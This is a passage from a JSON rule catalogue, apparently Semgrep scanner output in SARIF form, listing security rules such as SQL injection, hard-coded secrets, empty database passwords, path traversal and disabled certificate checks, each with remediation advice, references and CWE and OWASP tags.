your use of the privileged construct, and always remember to make the privileged code section as small as possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use)\n - [https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html](https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html)\n - [https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation](https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation)\n - [http://phrack.org/papers/escaping_the_java_sandbox.html](http://phrack.org/papers/escaping_the_java_sandbox.html)\n","text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"helpUri":"https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use","id":"java.lang.security.do-privileged-use.do-privileged-use","name":"java.lang.security.do-privileged-use.do-privileged-use","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.do-privileged-use.do-privileged-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string","id":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","name":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","id":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","name":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli)\n - [https://www.npmjs.com/package/mssql](https://www.npmjs.com/package/mssql)\n","text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","id":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","name":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"help":{"markdown":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","id":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","name":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"help":{"markdown":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation)\n - [https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib](https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib)\n","text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"helpUri":"https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation","id":"python.requests.security.disabled-cert-validation.disabled-cert-validation","name":"python.requests.security.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","id":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","name":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"help":{"markdown":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","id":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","name":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal","id":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","name":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal.laravel-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","id":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","name":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","id":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","name":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","id":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","name":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","id":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","name":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","id":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","name":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"help":{"markdown":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.require-request.require-request)\n - [https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it](https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it)\n","text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"helpUri":"https://semgrep.dev/r/javascript.express.security.require-request.require-request","id":"javascript.express.security.require-request.require-request","name":"javascript.express.security.require-request.require-request","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.require-request.require-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","id":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","name":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be 